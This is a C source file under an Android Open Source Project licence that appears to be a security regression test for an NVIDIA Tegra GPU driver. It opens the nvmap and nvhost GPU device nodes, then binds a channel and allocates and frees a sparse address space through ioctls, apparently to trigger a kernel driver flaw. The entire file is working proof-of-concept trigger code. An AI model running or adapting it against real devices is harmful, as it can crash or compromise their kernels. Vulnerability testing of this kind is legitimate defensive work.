/*
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>
// for syscall
#include <sys/syscall.h>
// for futex
#include <linux/futex.h>
#include <sys/time.h>
#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...) printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
#define NVMAP_IOC_MAGIC 'N'
struct nvmap_create_handle {
union {
__u32 id; /* FromId */
__u32 size; /* CreateHandle */
__s32 fd; /* DmaBufFd or FromFd */
};
__u32 handle; /* returns nvmap handle */
};
#define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
struct nvmap_alloc_handle {
__u32 handle; /* nvmap handle */
__u32 heap_mask; /* heaps to allocate from */
__u32 flags; /* wb/wc/uc/iwb etc. */
__u32 align; /* min alignment necessary */
};
#define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
static int set_affinity(int num)
{
int ret = 0;
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(num, &mask);
ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
return ret;
}
#define SZ_128K 0x00020000
#define NVHOST_AS_IOCTL_MAGIC 'A'
struct nvhost_as_bind_channel_args {
__u32 channel_fd; /* in */
} __packed;
#define NVHOST_AS_IOCTL_BIND_CHANNEL \
_IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)
struct nvhost_as_free_space_args {
__u64 offset; /* in, byte address */
__u32 pages; /* in, pages */
__u32 page_size; /* in, bytes */
};
#define NVHOST_AS_IOCTL_FREE_SPACE \
_IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)
#define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
struct nvhost_as_alloc_space_args {
__u32 pages; /* in, pages */
__u32 page_size; /* in, bytes */
__u32 flags; /* in */
__u32 padding; /* in */
union {
__u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
__u64 align; /* in, alignment multiple (0:={1 or n/a}) */
} o_a;
};
#define NVHOST_AS_IOCTL_ALLOC_SPACE \
_IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)
#define CLOSE_THREAD_NUM 1
#define TRY_TIMES 2
#define NVMAPDEV "/dev/nvmap"
#define GPUDEV "/dev/nvhost-gpu"
#define ASDEV "/dev/nvhost-as-gpu"
pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
int nvmap, gpu, asgpu;
volatile int attack;
int main(void)
{
int i, j, ret;
int dma1, dma2;
struct nvmap_create_handle args = {
.size = PAGE_SIZE
};
struct nvhost_as_bind_channel_args as_bind = { 0 };
struct nvhost_as_alloc_space_args alloc = {
.pages = 1,
.page_size = SZ_128K,
.flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
};
struct nvhost_as_free_space_args free_arg = {
.pages = 1,
.page_size = SZ_128K
};
/* bind_cpu */
set_affinity(0);
nvmap = open(NVMAPDEV, O_RDONLY);
if(nvmap == -1) {
ERR("[-] open %s failed", NVMAPDEV);
goto __cleanup;
}
gpu = open(GPUDEV, O_RDONLY);
if(gpu == -1) {
ERR("[-] open %s failed", GPUDEV);
goto __cleanup;
}
asgpu = open(ASDEV, O_RDONLY);
if(asgpu == -1) {
ERR("[-] open %s failed", ASDEV);
goto __cleanup;
}
// bind the channel
as_bind.channel_fd = gpu;
ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
if(ret == -1) {
ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
goto __cleanup;
} else {
//LOG("[+] ioctl OK, channel is bond");
}
#if 1
// prepare
ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
if(ret) {
ERR("[-] NVMAP_IOC_CREATE failed");
goto __cleanup;
}
#endif
ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
if(ret) {
ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
goto __cleanup;
}
free_arg.offset = alloc.o_a.offset;
ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
if(ret) {
ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
goto __cleanup;
}
__cleanup:
close(nvmap);
close(gpu);
close(asgpu);
return 0;
}